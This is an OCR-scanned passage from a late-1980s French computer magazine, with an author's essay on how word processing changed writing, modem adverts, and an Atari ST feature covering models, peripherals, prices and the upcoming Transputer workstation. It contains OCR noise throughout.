spécialisée /Présentation en coffret ou en châs? 
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INFORMATIQUE 



Rllo, la Terre! 



DES KILOMETRES SUR 
UN CLAVIER 



Il a troqué son stylo bille contre un traitement de texte et ne le 
regrette pas. André Warusfel, auteur, professeur et 

collaborateur de L 'Oi, remet les 

pendules à l'heure : l'ordinateur, pour l'écrivain, n'a 

pas que des travers quand on y réfléchit. . . 

ESZBi 



L» écriture est une activité profes- 
sionnelle capitale pour une foule 
de personnes. Traitement de texte 
(< Textverarbeitung > d'IBM-Allema- 
gne né en 1964) et micro-informatique 
ont modifié la narure du travail de 
l'auteur de livres (recueil de poésies, 
best-seller, manuel technique, etc.) ou 
de textes courts (nouvelle, article, 
conrrat, mémo inrerne, sujet d'examen, 
etc.). 

L'un des apports de cet outil encore 
récent est la disponibilité du document 
crée : magnétiquement archivable, il est 
aisément transférable (courriel, rélé- 
phone, etc.) et accessible au rettairement 




par l'auteur ou par d'autres personnes. 
Sont également évidents le gain de 
temps et de sécurité quant à l'intégrité 
du message : on élimine ainsi une bonne 
partie des tâches de saisie multiple, voire 
de correction d'< épreuves > - mot 
éloquent - dès que l'impression part 
directement du fichier informatique, 
qu'il s'agisse de PAO ou d'une photo- 
composeuse qui gère elle-même l'enri- 
chissement typographique. 

► AVANT 
ET APRÈS... 

Pourtant l'impact le plus décisif de 
l'abandon du stylo et de la machine à 
écrire se situe à un niveau fondamental : 
le traitement de texte a changé le 
processus même de l'écriture. Auteur 
d'articles depuis 1957 (le premier pas- 
sait en revue cinq clarinettistes New- 
Orleans...) puis de livres techniques dès 
1961, je peux témoigner que trente 
années de bagarres avec mots et pages 
blanches, dans le cadre d'activités pro- 
fessionnelles ou du simple plaisir du 
verbe, se partagent très nettement en 
deux périodes : « avant > et « après > 
l'achat du regretté SuperScripsit, respec- 
tant intégtalement les habitudes dacty- 
lographiques francophones, à une épo- 
que où la gestion d'un accent circonflexe 
relevait généralement d'une danse acro- 
batique quand elle n'était pas simple- 
ment impossible. Cet article même, 



Logiciel 



Becker Text (Atari) 
Evolution (PC) 
Plume PC 
Signum (Atari) 
Sprint (PC) 
Word 3 (Mac) 
Word 3 (PC) 
Word 4 (PC) 
WordPerfect 4.2 (PC) 
WordPerfect Mae 
Wordstar 4.0 (PC) 
Writer Plus (Mac) 




fécondé à la mine de plomb ou à l'encre 
violette de mon enfance, aurait une 
autre couleur... mais son existence serait 
alors improbable ! 

Le traitement de texte permet d'agir 
efficacement sur trois points posant 
problème, je crois, à tous ceux qui 
écrivent, qu'il s'agisse de quinze lignes 
ou de cent pages : il laisse toujours 
possible une modification profonde de 
la structure interne du document, offre 
un maximum de facilités pour maîtriser 
au mieux toute répétition fastidieuse 
des mots clés du sujet et calme l'an- 
goisse devant la page blanche bloquant 
tant d'entre nous au moment de 
commencer à rédiger. Ces aides que 
nous apporte ce type de logiciel sont 
bien plus considérables qu'il n'y paraît 
au premier abord. 

► AU FIL 
DE LA PENSÉE 

Il n'est pas rare qu'on s'aperçoive en 
cours de travail d'une erreur de perspec- 
tive, tel point du discours étant trop 
négligé alors qu'il faudrait au contraire 
le mettre mieux en valeur, ou même 
qu'apparaisse subitement un nouvel 
argument ou un développement im- 
prévu : la souplesse des opérations 
< couper/coller > est alors sans 
commune mesure avec les pénibles ma- 
nipulations des manuscrits ordinaires, 
lorsque la glu tache pour de bon et que 



Micro Application 

Priom 

Andiode 

Applications Systems 

Borland 

Microsoft 

Microsoft 

Microsoft 

WordPerfect 

WordPerfect 

Micropro 

AÇI 



97 


21 


8/ 


«) 


88 


.« 


(Il 


52 


m 


53 


03 


73 



Certains logiciels étudiés dons ce dossier traitement de texte ont déjà et 

délait dans nos colonnes. Nous rappelons ci-dessus les boncs d'essai publiés ré< 

Pour compléter votre collection ou mus procurerun ancien numéro, mirpage 197. 



l'on doit multipliet les pages n°18 tet... 
Beaucoup d'entre nous rédigent directe- 
ment d'après quelques titres jetés à 
l'écran, embryons d'une table des ma- 
tières temporaire remplie au fil même 
de la pensée, quitte à bouleverser l'ordre 
initial, abandonnant par exemple tel 
développement prometteur à la mise au 
poinr plus délicate que prévu. Le plus 
banal des traitements de texte est un 
< ThinkTank > puisqu'offrant la liberté 
d'organiser à sa guise des paragraphes 
modifiables sans effort jusqu'au bout 
du travail. 

► RETOURNER 
SA VESTE 

La chasse aux redites (ou encore aux 
vulgaires fautes d'orthographe, devant 
lesquelles les nobles professions de jour- 
naliste ou d'écrivain sonr plus démunies 
qu'on ne pense) est évidemment facili- 
tée par l'écriture électronique ; le logiciel 
nous laissant modifier sans cesse un mot 
permet, en principe, de mieux préciser 
sa pensée en cherchant le terme juste et 
d'affiner le style pour ne pas lasser plus 
que nécessaire. 11 est vrai qu'un effet 
pervers conduit certains puristes à telle- 
ment retoucher leur texte qu'ils n'arri- 
vent plus à abandonner leur copie : il 
faut quasiment leur arracher l'ouvrage 
qu'ils aimeraient remettre encore sur le 
métier! 

Quelques souvenirs de dissertations 
prouvent que rien n'est plus difficile que 
de commencer un texte. E faut déjà 
l'avoir rédigé pour l'essentiel avant de 
savoir préparer efficacement le lecteur à 
ce qu'il va découvrir : jeu d'enfanr pour 
Word, Sprint et aurres qui permettent 
de n'écrire le début... qu'à la fin, en 
démarrant par la partie la plus facile ou 
la plus agréable. Mieux encore : si votre 
conclusion paraît douteuse à la dixième 
relecture, vous pouvez retourner vorre 
veste sans vergogne. Quelques politi- 
ques ont sans doute apprécié les venus 
tégénératrices du traitement de texte, 
certains discours d'aujourd'hui n'étant 
parfois que la correction très discrète 
d'anciennes versions bien oubliées... ■ 



Modems ATTEL 
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UPP lOl ■ CaitepourPCet 

»**** J** ^ compatibles 300, 1200 

et 1200/75 bits/s 

■ Emulation MINITEL 

■ Connexion TRANSPAC 

■ Transfert de fichiers 

■ Numérolaiion automatique 
■'. ?■:.■'.'.■":::." a-j"CTï! ci !:£-■..]<-. 

■ Compatibilité 'HAYES" 

■ :.:vrêe avec ATTELCOM 321 




MDX 422 



■ Modem en coltret 

■ V21 (300/300 bits/s) 

■ V22 (1200/1200 bits/s) 

■ Numérotation automatique 

■ Réponse automatique 

■ Compatibilité "HAYES" 

■ Asynchrone/Synchrone 

■ Pour réseau téléphonique 
Commuté ou LS. 2 fils 
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t Modem en coffret 
IV23 (1200/75 bits/s) 
I Réponse automatique 
1 Réversible 
I Syméiriseur incorporé 



ATTELCOM 
422 

ATTELCOM 
423 



■ Soits de communication 
pour PC/XT/AT et compatibles 
3 Associes au MDX 422 ou 
MDF 423 il:, peuvent être 
fournis également en 3" 1/2 
pour PS/2 

■ Logiciels à fenêtre 

■ Menus déroulants 

■ Mémorisation des codes 
d'accès 

■ Sauvegarde d'informations 

■ Emulalions VT52, 100, 200, 
ADM3A 



AUTRES FABRICATIONS ATTEL: 
■ MODEM ■ MODEM 

BANDE DE D'INTERFACE 

BASE MDB 19.2 TELEX R20 

De 1,2 à 19,2 Kbits/s. 
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FESTIVAL 
ATARI 



A Fichier Disaue Edition 



i 1 COL: «2 SI 



L'Atari ST s'apprête à fêter le troisième anniversaire de sa commercialisa- 
tion. L'âge adulte pour un ordinateur. Nous l'avons donc traité en tant que 
tel, en insistant sur les applications aujourd'hui disponibles. 
Ordinateur polyvalent, le ST doit d'abord prouver sa compétence dans le 
domaine des logiciels classiques. Les traitements de texte, abordés dans un 
dossier séparé (cf. p. 80), ont atteint un rrès bon niveau. Pour évaluer les 
SGBD et les tableurs, nous avons fait appel à Daniel Ichbiah, notre 
essayeur favori pour ce type de logiciels sur PC. Il n'avait jamais travaillé 
avec un Atari ; ses conclusions d'utilisateur professionnel, rompu à la 
pratique de Lotus 1-2-3 ou de dBase, n'en sont que plus pertinentes. La 
solution micro-édition sur Atari est devenue subitement plus ctédible, avec 
l'arrivée d'un écran pleine page, même si les logiciels, en progrès, n'ont pas 
encote rejoint les meilleurs du genre sur PC ou Mac. 
Cet examen de passage téussi, le ST monrre ses autres talents. La nouvelle 
génération d'outils graphiques apporte un second souffle à la machine, le 
dessin technique est rodé, er sur la musique, le ST s'esr imposé en très peu 
de temps comme un passage obligé. 

Avec environ 800 000 machines vendues dans le monde, dont 100 000 en 
France, l'Atari intéresse de plus en plus les développeurs. Ceux-ci trouvent 
une panoplie complète d'outils qui leur sont destinés. Ils pourront bientôt 
exercer leurs talents sur la station 68030 et surtout sur le Transputer, 
présenté lors du dernier Sicob. 

Sam Tramiel, que nous avons rencontré pour ce festival Atari, 
nous a d'ailleurs confié qu'il était très heureux d'arriver sur un ^ y"**""" 
nouveau marché et de se battre contre les marques les plus ^*<ïii|^ 

prestigieuses. La famille Tramiel aime les défis. 
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L'AGE DE RAISON 



L'Atari ST aura bientôt trois ans. Un âge tout à fait 

respectable pour un ordinateur. De trois mille francs pour un 

520 nu à environ vingt mille francs pour 

un Mega 4 avec son disque dur, la gamme ST vise, 

à partir d'une base identique, plusieurs 

marchés distincts. 



L» automne 1985, époque du lance- 
ment de l'Atari 520 ST, est main- 
tenant bien loin. Les premières machi- 
nes soulevèrent à la fois enthousiasme et 
scepticisme. Les optimistes y voyaient 
un concurrent du Macintosh pour le 
tiers de son prix. Atari en rajoutait, en 
colportant le surnom, aujourd'hui ou- 
blié, de t Jackintosh >. Les autres, c'est- 
à-dire la majorité, refusaient de croire à 
cette machine à l'aspect plutôt familial, 
encore trop chàe (10 000 F ttc) pour 
entrer massivement dans les foyers, aux 
alimentations extérieures aussi nom- 
breuses qu'inélégantes, au parc de logi- 
ciels inexistant. Les toutes premières 
machines ne disposaient que du langage 
Logo, rejoint après quelques semaines 
par un Basic désolant et passablement 
bogue. 

Aujourd'hui, l'Atari ST est une ma- 
chine adulte, vendue à plus de 1 00 000 
exemplaires en France, qui se décline en 
une gamme complète, bâtie sur une 



même base, mais visant des clientèles 
très différentes. Point commun de tous 
les ST : un processeur 16/32 bits 
68000 secondé par des coprocesseurs 
classiques pour la gestion du davier, du 
contrôleur du lecteur de disquettes, des 
transmissions série, de la musique, et 
par quatre circuits spécifiques au ST. Le 
Glue gère les mémoires-tampon et dé- 
code les adresses, le Video-Shiffer est 
dédié à l'affichage vidéo, le DMA 
accroît la rapidité d'accès à la mémoire 
dynamique, et le MMU vient en aide 
aux deux précédents. 

Les différents ST ne possèdent qu'un 
seul lecteur de disquettes interne 3° 1/2 
(simple face 360 Ko sur le 520, double 
face 720 Ko sur le 1040 et les Mega) et 
une batterie complète d'interfaces : 
série, parallèle, RVB, Midi. Il n'y a 
donc pas de difficulté pour connecter les 
périphériques Atari (lecteur de disquet- 
tes externe, disque dur, imprimante 
matricielle ou laser, moniteur mono- 




chrome, bientôt CD-ROM) ou autres : 
téléviseur ou moniteur couleur équipé 
d'une prise péritélévision, modem, im- 
primante compatible IBM ou Epson, 
table traçante, etc. 

En monochrome, le confort de lec- 
ture est excellent, grâce à l'affichage de 
640 X 400 allié à un excellent moni- 
teur rafraîchi à une fréquence de 72 Hz. 
En couleurs, la qualité d'affichage se 
gâte, avec 640 X 200 en quatre cou- 
leurs parmi 512, ou 320 X 200 en 
16 couleurs parmi 5 12. Ce nombre de 
couleurs affichables est heureusement 
théorique, et la dernière génération de 
logiciels de création graphique, intro- 
duits par Spectrum, affiche 512 cou- 
leurs simultanément, d'où des possibili- 
tés de lissage et donc d'amélioration 
apparente de la définition graphique. 

Le ST dispose de l'intégrateur Gem 
de Digital Research en standard, installé 
en mémoire morte, tout comme son 
système d'exploitation, le Tos. Gem est 
bien connu, il tessemble à l'interface- 
utilisateur du Macintosh, en un peu 
plus frustre. Il n'est, par exemple, pas 
possible de conserver des fichiers dans la 
poubelle avant de les détruire, de dépla- 
cer des icônes pour réorganiser son 
bureau au sein d'une même disquette 
(seule la copie est possible). Par ailleurs, 
Gem ne conserve pas en mémoire le 
nom d'une disquette retirée du lecteur 
(ce qui évite au moins les horripilants 
messages du Mac < Insérez la disquette 
XXX >). Mais l'interface est suffisam- 
ment proche pour qu'Apple, peu de 
temps après la sortie de Gem, ait 
menacé Digital Research d'un procès 
pour plagiat. A l'époque, un accord à 
l'amiable était intervenu... 

L'Atari est donc aussi simple d'em- 
ploi que peut l'être aujourd'hui un 
ordinateur, à l'exception du secteur de 
l'impression. Les pilotes d'imprimantes 
se transforment en cauchemars pour les 
novices sur certains logiciels rétifs. Cha- 
que logiciel doit en effet posséder ses 
propres pilotes. Malgré cette ressem- 
blance avec le Macintosh,, le système 
d'exploitation s'apparente à MS-DOS, 
même si l'utilisateur ne s'en rend pas 



compte à cause justement de la présence 
de Gem. Lors de la recherche de fichiers, 
on retrouve par exemple des "A :\*.*", 
bien connus des utilisateurs de PC. Ces 
analogies ne sont pas fortuites. Le Tos, 
en effet, est un dérivé du CP/M 86 de 
Digital Research, un système d'exploi- 
tation destiné aux ordinateurs à base de 
68000 qui offrait une certaine compati- 
bilité avec MS-DOS. Pour cette raison, 
le transfert de fichiers entre l'Atari et un 
compatible PC s'effectue sans aucune 
difficulté. 

► ILS SE 
RESSEMBLENT 
MAIS... 

Le 520 et le 1040 sont identiques 
d'aspect, avec le clavier solidaire de 
l'unité centrale et le lecteur de disquettes 
sur le côté. Le premier dispose de 
5 1 2 Ko de mémoire vive et le second de 

1 024 Ko. Avec le lecteur de disquettes 
360 Ko ou 720 Ko, c'est la seule 
différence entre les deux modèles, en 
dehors du prix. Le 520 est vendu 

2 990 F ttc (2 445 F ht) sans moniteur 
et il est d'abord destiné à un usage 
familial. Le 1040 est vendu 5 990 F ttc 
(5 050 F ht) avec un moniteur mo- 
nochrome. Il vise le marché des utilisa- 
teurs personnels, des artisans, des pro- 
fessions libérales. 

Le Mega dispose, pour sa part, d'un 
clavier séparé, similaire à celui des 
520/1040, mais doté d'un système 
mécanique, au toucher plus franc (ou 
plus dur..) a plus doux (ou plus 



mémoire vive de 2 ou 
4 Mo. Elle faàlke le 
travail et mer en 
œuvre l 'imprimante 
laser Atari. 



mou...) que celui de son prédécesseur. 
Les Mega se distinguent par une mé- 
moire vive de 2 Mo ou 4 Mo, par un 
nouveau circuit, le Blitter, qui accélère - 
théoriquement - certains types d'affi- 
chage graphique et surtout par un 
nouveau connecteur d'extension qui 
ouvre la porte à de futures extensions, 
dont le Transputer sera le plus spectacu- 
laire. Un écran pleine page serait égale- 
ment en préparation. 

L'importante mémoire vive disponi- 
ble facilite le travail, par exemple pour 
l'utilisation de disques virtuels ou la 
manipulation de très gros fichiers. Cette 
mémoire est surtout indispensable pour 
mettre en oeuvre l'imprimante laser 
Atari. En effet, celle-ci est uniquement 
constituée d'un moteur. Toute sa ges- 
tion est assurée par l'ordinateur lui- 
même. Or, l'impression d'une pleine 
page graphique exige plus d'un méga- 
octet de mémoire vive. 

Les Mega 2 et 4 comprennent dans 
leur prix de vente (9950 F ht et 
12 950 F ht) un an de maintenance sur 
site. Us sont destinés à être vendus en 







entreprise. Pour les distribuer, Atari 
France a mis en place une structure 
< Distribution à valeur ajoutée >. Ces 
distributeurs triés sur le volet n'ont pas 
forcément pignon sur rue et sont armés 
pour apporte! un setvice supplémen- 
taire, par exemple au moment de l'ins- 
tallation du matériel ou de l'acquisition 
de nouveaux logiciels. Mais il est possi- 
ble bien sûr d'acheter les Mega chez 
tous les distributeurs Atari. 

La distinction entre trois marchés 
correspondant aux différents modèles 
reste cependant quelque peu artificielle. 
Pour des tâches simples, supporter un 
traitement de texte, par exemple le 520, 
associé à un moniteur monochrome, est 
souvent suffisant. D'autant que l'instal- 
lation du système d'exploitation en 
mémoire vive laisse la quasi-intégralité 
de cette mémoire disponible pour le 
logiciel et les fichiers. 

Dans le cas d'une entreprise équipée 
de plusieurs unités centrales, il est rai- 
sonnable d'imaginer l'acquisition de 
modèles différents, suivant les tâches 
principales qui leur seronr affectées, 
sachant que la plupart des logiciels 
tournent sur l'ensemble de la gamme. 
Inversemenr, un Mega pourra jouer, 
après le travail, par simple branchement 
d'une télévision par câble péritélévision. 

Le nombre et surtout la qualité des 
logiciels sont en progrès constant. La 
gamme des périphériques est au- 
jourd'hui complète, avec, entre aurres, 
plusieurs tablettes à numériser ou des 
scanners, qui pourront recevoir prochai- 
nement un logiciel de reconnaissance 
des caractères. L'Atari ST a maintenant 
l'âge de raison. 
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Unité centrale 



520 ST 
10405T 
MegaST2 
MegoST4 
MegaST2 + 
Imprimante laser 
Mega ST4 + 
Imprimante laser 



Mémoire 
vive (Ko) 



520 
1 040 




DEBUT 
DE L'ERE HUMAINE 



SOFTWARE 

nouvelle version 1.3 

U -2D, le logiciel de dessin technique sur 
liari, destiné aux applications 



lectromécanique, le bâtiment... Beaucoup 
nouveautés : drivi 
zaine de fonctions 

Frix public conseillé : 
H50FHT 



ZZ-DRAFT 

ZZ-DRAFT, le logiciel de d 

e en CAO/DAO. ZZ-DRAFT 
id public pour tous vos 
us une PAO, et au 
ion pour l'apprentissage 
in technique... 

Prix public conseillé : 
795 F TTC 




Bibliothèques de symboles 

ion maximale de ZZ-2D ou 
bliothèques de 200 à 
iholes graphiques ont été créées pour 
" : " ~s spécifiques : 



Prix public conseillé 
d'une bibliothèque : 
SOOFHT 
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Commande de disquette(s) Sociale 

de démonstration Nom, Prénom 

□ ZZ-2D (Version 1.3) 70 F TTC Adresse 

P ZZ-Draft 70 F TTC ç^^^ZZZZZy^ZZZZZZZZZZZZ. 
Commande de bibliothèque(s) $ Téléphone 

... = Total F TTC: à l'ordre de 

Û HyuVaÙïque i HUMAN TECHNOLOGIES (Franco de port France mânyuCuine) 

□ Bâtiment fe Q Chèque postal □ Chèque bancaire 



TT 



H 



LE BOULEVARD 
DES PÉRIPHÉRIQUES 

Les périphériques sous label Atari se comptent 

sur les doigts d'une main. Certaines familles, comme celle des 

imprimantes, sont innombrables, puisque 

la compatibilité PC ou Epson suffit. D'autres nécessitent 

une adaptation particulière. Voici quelques repères 

pour circuler sans encombre parmi eux. 



Le moniteur monochrome est le seul 
périphérique qui doit être obliga- 
toirement acheté chez Atari. Pour quel- 
ques autres, le choix existe entre le 
produit de la marque et ceux d'autres 
sociétés. Dans la majorité des cas, le ST 
se contente de recevoir des périphéri- 
ques conçus pour d'autres ordinateurs, 
et largement éprouvés. Pour la couleur, 
tout moniteur équipé d'une prise périté- 
lévision fait l'affaire. Le SC 1224 n'est 
donc pas obligatoire, d'autant qu'il 
n'est ni le moins cher ni le meilleur du 
marché dans sa catégorie. 

En ce qui concerne les disques durs, 
l'Atari SH 205 est le seul réellement 
disponible partout. Sa capacité de 20 
Mo et son temps d'accès très moyen 
empêchent de le comparer à ses meil- 
leurs homologues sur PC. Régulière- 
ment, des impottateurs annoncent 
d'autres disques, moins chers, plus puis- 
sants ou plus rapides. Mais aucun d'eux 
ne s'est imposé durablement, et les 
modèles disparaissent généralement des 
circuits après quelques mois. Actuelle- 
ment, les Leadman 50 Mo et 100 Mo 
semblent donner satisfaction. Le 100 
Mo est ■en fait la superposition de deux 
50 Mo, l'un d'entre eux pouvant faire 
office d'unité de sauvegarde pour l'au- 
tre. Rappelons que le système d'exploi- 
tation du ST n'est pas capable de gérer 
plus de 16 Mo. Tous les disques durs 
doivent donc être partitionnés. 

L'imprimante représente le complé- 
ment indispensable de tout ordinateur. 



Le seul intérêt de l 'Atari SMM 804, une 
matricielle 9 aiguilles 80 colonnes, est 
son prix. La plupart des revendeurs 
proposent d'autres modëes : Citizen 
120D, Epson LX 800 et surtout Star 
NC 10, qui succède à la NL 10. De 
l'avis général, elle représente actuelle- 
ment l'un des meilleurs rapports qua- 
lité/prix. Théoriquement, toutes les 
imprimantes compatibles IBM ou 
Epson sont acceptées par le ST. En fait, 
mieux vaut s'arrêter sur un modèle 
largement diffusé, afin de minimiser les 
risques de mauvais fonctionnement 
pour cause de pilote défaillant. Chaque 
logiciel doit en effet posséder ses propres 
pilotes pour les différentes imprimantes. 
L'arrivée récente de matricielles 24 ai- 
guilles autour de 5 000 F ht rendent ces 
modèles attrayants (Star NB 24, Nec 
P6, Amstrad LQ 3500, Seikosha SL 
80, Epson LQ 850). 

Pour l'impression laser, la SLM 804 
reste inégalée en matiète de prix. L'as- 
tuce consisre à ne garder dans l'impri- 
mante que le moteur. Toute la gestion 
est assurée par l'ordinateur, d'où la 
nécessité de disposer d'une très impor- 
tante RAM. Seul un Mega est capable 
d'imprimer en mode graphique sur la 
SLM 804. Mais le tour de force d'Atari 
en matière de prix ne doit pas faire 
oublier que les logiciels de mise en pages 
pilotent PostScript. Il est donc possible 
d'imprimer à partir de n'importe quel 
ST sur une PostScript, Apple, QMS ou 
autre. L'imprimante PostScript possé- 



dant une importante mémoire vive, un 
Mega ST n'est pas nécessaire. De 
même, de nombreuses tables traçantes 
peuvent servir à l'impression de dessins 
réalisés avec des logiciels de CAO/ 
DAO, à condition que ceux-ci dispo- 
sent des pilotes adéquats. I) est donc 
indispensable de vérifier quels sont les 
pilotes disponibles sur son logiciel avant 
d'acheter une table traçante. 

Le choix sur les tablettes à numériser 
n'est pas aussi vaste, mais des grands 
noms commencent à se pencher sur 
l'Atari et interfacent leurs produirs. 
Ainsi, Métrologie, distributeur de Sum- 
magraphics, le premier fabricant mon- 
dial de la spécialité, propose une 
gamme de trois modëes, du format A5 
au format A3. Le logiciel fourni, Sum- 
masketch, se charge par le bureau et 
active immédiatement la tablette tout 
en gardant l'exploitation de la souris. 

Deux scanners sont disponibles. Le 
Hawk comporte une imprimante ther- 
mique et un logiciel graphique intégrés. 
Le Canon se décline en deux modèles, 
les IX- 1 2 et LX- 1 2F. L'interface Atari a 
été développée par Human Technolo- 



gies qui distribue l'ensemble sous le 
nom de ST-Scan. L'image numérisée 
avec résolution maximale de 300 points 
par pouce est sauvegardée au format 
Degas (limité à 32 Ko), .IMG ou 
PostScript. Le modèle IX-12F est un 
scanner à plat doté de 32 niveaux de 
gris (64 avec composition de trames en 
logiciel). Le modèle LX-12 est un scan- 
ner à rouleau capable de reconnaître 32 
niveaux de gris. La vitesse de numérisa- 
tion est de 12 s en haute définition. 
Rappelons que le ST possède en stan- 
dard une interface Midi. Tous les instru- 
ments Midi se connectent donc directe- 
ment sur l'unité centrale. 

► LE CD-ROM 
PRÉSENTÉ 
AUSICOB 

Mais le périphérique le plus en vue 
est aujourd'hui ie CD-ROM. Annoncé 
il y a très longtemps, il n'était jamais 
sorti des laboratoires d'Atari, officielle- 
ment parce que le marché n'était pas 
mûr. II est aujourd'hui une réalité, et 
vient d'être présenté pour la première 
fois en France lors du Sicob. Des diffi- 



LES PERIPHERIQUES 


Type 


Prix (F ht) 


Lecteur de disquettes Atari SF 31 4 720 Ko 
Lecteur de disquettes Cumarta 720 Ko 
Lecteur de disquettes Cumona 5" 1 /4 360 Ko 


1 678 
1 390 
2015 


Disque dur Atari SH 205 20 Mo 
Disque dur (CD Leadman 50 Mo 
Disque dur ICD Leadman 1 00 Mo 


. 4 208 
7 926 
13 828 


Imprimante matricielle Atari SMM 84 
Imprimante laser Atari SLM 804 


I 678 
li 950 


Moniteur monochrome Atari haute résolution (640 x 400) 
Moniteur couleur Atari moyenne (640 X 200) et basse résolution 


1 257 

2 521 


Tablette graphique A4 CfiP 

Tablette à numériser Summasketch 961 A5 

Tablette à numériser Summasketch 1201 Plus A4 

Tablette à numériser Summasketch 1812 Professionnelle A3 

Tablette à numériser Kunta 


3 900 

4 950 
6 450 
9950 
9 890 


Scanner à plat Hawk CP 1 4 (avec imprimante thermique et 
logiciel graphique) 

ST-Scan avec scanner Canon IX- 3 2 (rouleau) 300 ppp 
Sï-Scan avec scanner Canon IX- 1 2F (à plat) 300 ppp 


13 500 
9 750 
12 750 



cuites de dernière minute ont dû inter- 
venir, puisqu 'Atari avait précédemment 
annoncé sa disponibilité pour le début 
de cette année. Il sera finalement 
commercialisé dans le courant du se- 
cond semestre à un prix de l'ordre de 
4 000 F. Relié à l'unité centrale par le 
port DMA, sa principale originalité est 
de lire également les disques audio. Il 
dispose d'une sortie casque audio avec 
réglage du volume et d'une sortie pour 
connexion à une chaîne hi-fi. 

Ce choix étonnant, surtout au mo- 
ment où les lecteurs de disques 
compacts les moins chers s'approchent 
du millier de francs, a provoqué un 
certain scepticisme chez les spécialistes 
du CD-ROM. Avant même d'avoir pu 
tester celui d'Atari, ceux-ci le considé- 
raient comme un lecteur audio < bi- 
douillé > . Une attitude que ne manque- 
ront pas de fustiger les inconditionnels 
de la marque, en rappelant que Jack 
Tramiel s'est toujours heurté à un im- 
portant scepticisme lors de son arrivée 
sur un nouveau marché. Dès sa disponi- 
bilité, L'Ordinateur individuel testera 
sans parti pris ce lecteur de CD-ROM. 
Pour l'instant, nous devons nous 
contenter de ses caractéristiques. 

II suit le standard Sony-Philips 
(mode 1 et 2). Sa vitesse de lecture est 
de 1 5 3 Ko par seconde en continu, et le 
passage entre les deux pistes tes plus 
extrêmes est de l'ordre de la seconde. 
Sur la partie audio, la fréquence de 
réponse va de 20 Hz à 20 kHz et le 
rapport signal/bruit est de 75 dB. 

Le marché du CD-ROM est encore 
très réduit, surtout en France où les 
installations ne se comptent que par 
centaines. Dans ce contexte, Aiari peut 
prendre une place en visant une cible 
davantage grand public que celle de ses 
concurrents. Pour cela, U faudra cepen- 
dant attendre l'arrivée d'un choix d'ap- 
plications adaptées à un tel marché. 
Dans un premier temps, ce CD-ROM 
s'apparente plus à un produit de pres- 
tige destiné à promouvoir la marque 
qu'à un périphérique banalisé vendu à 
un grand nombre d'exemplaires. 
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MEGAST 

Une révolution dons le domaine du graphisme et de la PAO. 

Un outil puissant doié d'une technologie de pointe dans le c 
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INSTALLATION 




OPERATION CAMION EXPO 



Collectivités, entreprises,.. Notre camion expo peut venir 
vous rendre visite sur votre lieu de travail pour vous présenter 
la nouvelle gamme Mega ST.. - 



- 



L'ATARI DE DEMAIN 

La gamme ST complète, Atari repart de l'avant avec une station de travail 68030 

et un Transputer à architecture parallèle. Cette dernière machine 

est aujourd'hui une réalité pour les développeurs. En voici les principales caractéristiques. 




Avec la carre Transputer présent 



Incroyable Jack Tramiel ! La gamme 
des ST à peine imposée, le chairman 
d'Atari lance un nouveau défi, propre à 
soulever une nouvelle vague de scepti- 
cisme : se placer sur le marché de la 
station de travail, où les plus grands 
noms ferraillent déjà dur. 

Jack Tramiel se ptépare à affronter 
cette très sérieuse concurrence crâne- 
ment, avec deux modèles très différents 
et complémentaires, une station de tra- 
vail 68030 tournant sous Unix, et une 
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station à base de Transputer. 

La première, annoncée au Cebit de 
Hanovre en mars dernier (cf. L'Oi 
n° 10"3), devrait être à la disposition des 
développeurs pour la fin de l'année. Elle 
sera, en un sens, très < classique >. Face 
aux stations 68030 que les autres socié- 
tés ne manqueront pas de lancer rapide- 
ment, elle devra se distinguer par un 
tapport qualité/prix sans concurrence. 
Les Apollo, Hewlett Packard, IBM ou 
Sun resteront longtemps intouchables 



sur le tenain de l'image de marque. 

Le Transputer est, en revanche, plus 
original. Un prototype a été présenté au 
Sicob, les premières machines ne vont 
plus tarder à arriver chez les dévelop- 
peurs. La commercialisation devrait sui- 
vre pour la fin de l'année, comme l'avait 
annoncé Sam Tramiel en septembre 
dernier, à Paris. 

Atari a fait appel à cette société 
anglaise, qui produit depuis plusieurs 
années des machines conçues autour de 



Transputer Inmos. Mais, pour la pre- 
mière fois, un grand constructeur de 
micro-informatique s'apprête à diffuser 
largement un tel ordinateur à architec- 
ture parallèle, à un prix accessible. 

Le Transputer Atari/Perihelion est 
construit autour du T 800. Chaque 
T 800 est constitué d'un processeur 
32 bits et possède de 1 à 4 Mo de 
mémoire vive. Il offre quatre résolutions 
graphiques : 1 280 X 960 avec l'affi- 
chage de 16 couleurs parmi une palette 
de 4 096 ; 1 024 X 768 avec 256 
couleurs parmi 16 millions ; 
640 X 480 avec également 256 cou- 
leurs parmi 16 millions ; 512 X 480 
avec 16 millions de couleurs affichables 
simultanément, chaque point étant 
codé sur 32 bits. Un 5A«ergère jusqu'à 
32 adresses simultanément et affiche 
128 millions de points à la seconde. 

Selon les tests Wheststone, un seul 
T 800, d'une puissance de 10 Mips, 
serait deux fois plus rapide qu'un Mac 
II, et treize T 800 vingt fois plus 
tapides. Ces chiffres, avancés par les 
responsables de Perihelion, sont à consi- 
dérer avec prudence. D'abord parce 
qu'ils donnent des résultats assez théori- 
ques. Ensuite, parce qu'il est impossible 
de rendre compte avec un seul type de 
tests de la réalité d'utilisations très 
différentes les unes des autres. Il est 
certain que les démonstrations de calcul 
de fractales, effectuées avec un, puis 
plusieurs Transputer, sont impression- 
nantes. Mais pour se rendre compte de 
la réelle puissance de calcul du Transpu- 
ter, il faut voir tournet des applications 
utiles comparables à ce qui existe sur un 
Mac II ou une station de travail. Et ne 
pas oublier que le Mac II conserve 
intégralement la puissante interface gra- 
phique du Macintosh, et qu'il accepte, 
en réduisant notablement les temps de 
calculs, les grands logiciels pour Mac. 

Sur le papier, le Transputer est une 
splendide réalisation, avec un rapport 
performance/prix inconnu jusqu'ici. 
Dans sa version commercialisée pour 
Atari, il dispose de quatre connecteurs 
d'extension, susceptibles de recevoir des 
cartes supportant un ou quatre autres 



T 800. Plusieurs architectures sont pos- 
sibles, en patticuliet en linéaire ou en 
hypercube, option qui minimise le 
nombre total de nœuds pour accéder au 
Transputet le plus éloigné. 

La notion de réseau est également 
diffétente. Il ne s'agit plus simplement 
de partager des ressources communes, 
mais de partaget la puissance des unités 
centrales. Si deux unités centrales consti- 
tuées de quatre T 800 chacune sont 
reliées entre elles, la première utilisera 
par exemple deux Transputet de la 
seconde, si ceux-ci sont inutilisés. Au 
sein d 'un réseau plus important, un bloc 
de Transputer peut se trouver en dehors 
des unités centrales, à la disposition de 
celles qui ont besoin d'une puissance de 
calcul complémentaire. 

► DÉJÀ 
DE NOMBREUX 
LANGAGES 

Ces remarquables caractéristiques ne 
valent rien sans applications dévelop- 
pées spécialement pour le Transputet, 
